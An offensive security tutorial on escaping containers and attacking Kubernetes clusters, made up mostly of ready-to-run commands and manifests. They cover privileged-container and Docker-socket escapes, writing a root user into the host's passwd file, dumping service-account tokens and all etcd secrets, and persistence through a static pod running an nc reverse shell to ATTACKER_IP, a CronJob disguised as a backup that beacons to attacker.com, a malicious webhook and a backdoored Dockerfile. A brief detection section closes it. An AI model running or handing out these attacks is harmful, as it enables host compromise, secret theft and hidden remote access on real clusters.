Container & Kubernetes: Escaping the Box

Containers promise isolation, but misconfigurations are everywhere. Kubernetes adds layers of complexity—and attack surface. From container escapes to cluster takeovers, the cloud-native world is a hacker's playground.

Why Containers Are High Value Targets

Containers often run critical services and have access to secrets, databases, and internal networks. A single container escape can lead to host compromise, and from there, the entire Kubernetes cluster. Many organizations assume containers are "isolated"—they're not.

Container Architecture & Attack Surface

┌─────────────────────────────────────────────────────────────────────┐
│                    CONTAINER ATTACK SURFACE                          │
├─────────────────────────────────────────────────────────────────────┤
│                                                                       │
│  ┌─────────────────────────────────────────────────────────────┐    │
│  │                    HOST OPERATING SYSTEM                     │    │
│  │  ┌─────────────────────────────────────────────────────┐    │    │
│  │  │              CONTAINER RUNTIME (Docker/containerd)   │    │    │
│  │  │  ┌─────────┐  ┌─────────┐  ┌─────────┐  ┌─────────┐│    │    │
│  │  │  │Container│  │Container│  │Container│  │Container││    │    │
│  │  │  │   App   │  │   App   │  │   App   │  │   App   ││    │    │
│  │  │  └────┬────┘  └────┬────┘  └────┬────┘  └────┬────┘│    │    │
│  │  │       │            │            │            │      │    │    │
│  │  │       └────────────┴─────┬──────┴────────────┘      │    │    │
│  │  │                          │                           │    │    │
│  │  │                   SHARED KERNEL                      │    │    │
│  │  └─────────────────────────────────────────────────────┘    │    │
│  └─────────────────────────────────────────────────────────────┘    │
│                                                                       │
│  ATTACK VECTORS:                                                      │
│  ├── Container Image: Vulnerabilities, malware, secrets              │
│  ├── Runtime: Privilege escalation, escape to host                   │
│  ├── Orchestration: K8s API abuse, RBAC bypass                       │
│  ├── Network: Pod-to-pod, service mesh attacks                       │
│  └── Supply Chain: Registry poisoning, CI/CD compromise              │
│                                                                       │
└─────────────────────────────────────────────────────────────────────┘
                

Container Enumeration

Am I in a Container?

# Check for container indicators
cat /proc/1/cgroup | grep -E 'docker|kubepods|containerd'
ls -la /.dockerenv
cat /proc/self/mountinfo | grep -E 'docker|overlay'

# Check environment
env | grep -i kube
cat /run/secrets/kubernetes.io/serviceaccount/token

# Container filesystem indicators
ls -la /
# Minimal filesystem = likely container

# Check capabilities
cat /proc/self/status | grep Cap
capsh --print

Container Runtime Identification

# Docker socket
ls -la /var/run/docker.sock

# Containerd socket
ls -la /run/containerd/containerd.sock

# CRI-O
ls -la /var/run/crio/crio.sock

# Check running container info
cat /proc/self/cgroup
hostname  # Often container ID

Container Escape Techniques

Container Escapes = Host Compromise

A successful container escape gives you access to the underlying host. In Kubernetes, this often means access to other containers, secrets, and potentially the entire cluster.

Privileged Container Escape

Privileged containers have almost no isolation. They can directly access the host.

# Check if privileged
cat /proc/self/status | grep CapEff
# CapEff: 0000003fffffffff = privileged

# Mount host filesystem
mkdir /mnt/host
mount /dev/sda1 /mnt/host
chroot /mnt/host

# Or use nsenter to enter host namespaces
nsenter --target 1 --mount --uts --ipc --net --pid -- bash

# Access host Docker socket
docker -H unix:///var/run/docker.sock ps
docker -H unix:///var/run/docker.sock run -v /:/host -it alpine chroot /host

Docker Socket Escape

If the Docker socket is mounted in the container, it's game over.

# Check for Docker socket
ls -la /var/run/docker.sock

# Spawn privileged container on host
docker run -it --privileged --pid=host --net=host \
    -v /:/host alpine chroot /host

# Or add yourself to host
docker run -v /etc:/host_etc alpine \
    sh -c 'echo "attacker:x:0:0::/root:/bin/bash" >> /host_etc/passwd'

Capability Abuse

# CAP_SYS_ADMIN - mount filesystems
mount -t proc proc /mnt

# CAP_SYS_PTRACE - attach to host processes
# Inject into PID 1 (init)
strace -p 1

# CAP_NET_ADMIN - manipulate network
iptables -L

# CAP_DAC_OVERRIDE - bypass file permissions
cat /etc/shadow

# CAP_SYS_MODULE - load kernel modules
insmod backdoor.ko

CVE-Based Escapes

CVE Name Impact
CVE-2019-5736 runc escape Overwrite host runc binary, escape on next container start
CVE-2020-15257 containerd-shim Abstract socket access, host filesystem access
CVE-2022-0185 Kernel escape Heap overflow in legacy_parse_param, root on host
CVE-2022-0847 Dirty Pipe Overwrite read-only files, escape container

Kubernetes Attacks

Kubernetes Architecture

┌─────────────────────────────────────────────────────────────────────┐
│                      KUBERNETES CLUSTER                              │
├─────────────────────────────────────────────────────────────────────┤
│                                                                       │
│  CONTROL PLANE                          WORKER NODES                 │
│  ┌─────────────────┐                   ┌─────────────────┐          │
│  │   API Server    │◄──────────────────│    kubelet      │          │
│  │   (Port 6443)   │                   │                 │          │
│  └────────┬────────┘                   │  ┌───────────┐  │          │
│           │                            │  │    Pod    │  │          │
│  ┌────────┴────────┐                   │  │ Container │  │          │
│  │      etcd       │                   │  └───────────┘  │          │
│  │  (All secrets)  │                   └─────────────────┘          │
│  └─────────────────┘                                                 │
│                                                                       │
│  ATTACK TARGETS:                                                      │
│  ├── API Server: Unauthenticated access, RBAC bypass                 │
│  ├── etcd: Direct access = all secrets                               │
│  ├── kubelet: Anonymous access, pod exec                             │
│  ├── Service Accounts: Token theft, privilege escalation             │
│  └── Pods: Escape, secrets, lateral movement                         │
│                                                                       │
└─────────────────────────────────────────────────────────────────────┘
                

K8s Enumeration from Inside Pod

# Check for service account token
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace

# Set up kubectl
export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
export CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt

# Query API server
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
    https://kubernetes.default.svc/api/v1/namespaces

# Check permissions
kubectl auth can-i --list
kubectl auth can-i create pods
kubectl auth can-i get secrets

RBAC Privilege Escalation

# Find overprivileged service accounts
kubectl get clusterrolebindings -o json | jq '.items[] |
    select(.subjects[].kind=="ServiceAccount") |
    {name: .metadata.name, role: .roleRef.name}'

# Check for dangerous permissions
kubectl auth can-i create pods --as=system:serviceaccount:default:mysa
kubectl auth can-i get secrets --as=system:serviceaccount:default:mysa

# Privilege escalation via pod creation
# If you can create pods, you can mount any secret
cat << 'EOF' | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: pwned
spec:
  containers:
  - name: pwned
    image: alpine
    command: ["/bin/sh", "-c", "cat /var/run/secrets/* && sleep 3600"]
    volumeMounts:
    - name: admin-token
      mountPath: /var/run/secrets
  volumes:
  - name: admin-token
    secret:
      secretName: admin-sa-token
  serviceAccountName: admin-sa
EOF

Attacking the Kubelet

# Anonymous kubelet access (port 10250)
curl -sk https://NODE_IP:10250/pods

# Execute commands in pods via kubelet
curl -sk https://NODE_IP:10250/run/NAMESPACE/POD/CONTAINER \
    -d "cmd=id"

# Read-only port (10255) - often enabled
curl -s http://NODE_IP:10255/pods
curl -s http://NODE_IP:10255/metrics

etcd Attacks

# Direct etcd access (if exposed)
etcdctl --endpoints=https://ETCD_IP:2379 \
    --cacert=/etc/kubernetes/pki/etcd/ca.crt \
    --cert=/etc/kubernetes/pki/etcd/server.crt \
    --key=/etc/kubernetes/pki/etcd/server.key \
    get / --prefix --keys-only

# Dump all secrets
etcdctl ... get /registry/secrets --prefix

# Decode secrets
echo "BASE64_SECRET" | base64 -d

Kubernetes Persistence

Malicious Admission Controller

# Deploy mutating webhook that injects backdoor
apiVersion: admissionregistration.k8s.io/v1
kind: MutatingWebhookConfiguration
metadata:
  name: backdoor-webhook
webhooks:
  - name: backdoor.attacker.com
    clientConfig:
      url: "https://attacker.com/mutate"
    rules:
      - operations: ["CREATE"]
        apiGroups: [""]
        apiVersions: ["v1"]
        resources: ["pods"]

Malicious Static Pod

# If you have access to kubelet static pod directory
cat << 'EOF' > /etc/kubernetes/manifests/backdoor.yaml
apiVersion: v1
kind: Pod
metadata:
  name: backdoor
spec:
  hostNetwork: true
  hostPID: true
  containers:
  - name: backdoor
    image: alpine
    command: ["/bin/sh", "-c", "while true; do nc -e /bin/sh ATTACKER_IP 4444; sleep 60; done"]
    securityContext:
      privileged: true
EOF

CronJob Persistence

apiVersion: batch/v1
kind: CronJob
metadata:
  name: legitimate-backup
spec:
  schedule: "*/5 * * * *"
  jobTemplate:
    spec:
      template:
        spec:
          containers:
          - name: backup
            image: alpine
            command: ["/bin/sh", "-c", "curl http://attacker.com/beacon"]
          restartPolicy: OnFailure

Container Image Attacks

Malicious Image Injection

# Backdoored Dockerfile
FROM nginx:latest

# Add backdoor user
RUN useradd -m -s /bin/bash backdoor && \
    echo "backdoor:password123" | chpasswd && \
    usermod -aG sudo backdoor

# Install reverse shell
RUN apt-get update && apt-get install -y netcat
COPY entrypoint.sh /entrypoint.sh
ENTRYPOINT ["/entrypoint.sh"]

Extracting Secrets from Images

# Pull and extract image layers
docker pull target-image:latest
docker save target-image:latest -o image.tar
tar -xf image.tar

# Search for secrets
for layer in */layer.tar; do
    tar -tf $layer | xargs -I{} grep -l -E 'password|secret|key|token' {}
done

# Check image history for exposed secrets
docker history --no-trunc target-image:latest

Detection Strategies

Container Escape Indicators

Attack Detection Method Indicators
Privileged container Admission control securityContext.privileged: true
Docker socket mount Policy/OPA Volume mount of /var/run/docker.sock
Host path mount Audit logs hostPath volume to sensitive directories
Kubelet exploit Network monitor Direct connections to 10250 from pods
API server abuse Audit logs Unusual API calls, secrets access

Security Tools

# Scan images for vulnerabilities
trivy image nginx:latest
grype nginx:latest

# Scan running containers
trivy k8s --all-namespaces

# Check Kubernetes security posture
kube-bench run
kubeaudit all

# Runtime protection
# - Falco: behavioral monitoring
# - Sysdig: container forensics
# - Tetragon: eBPF security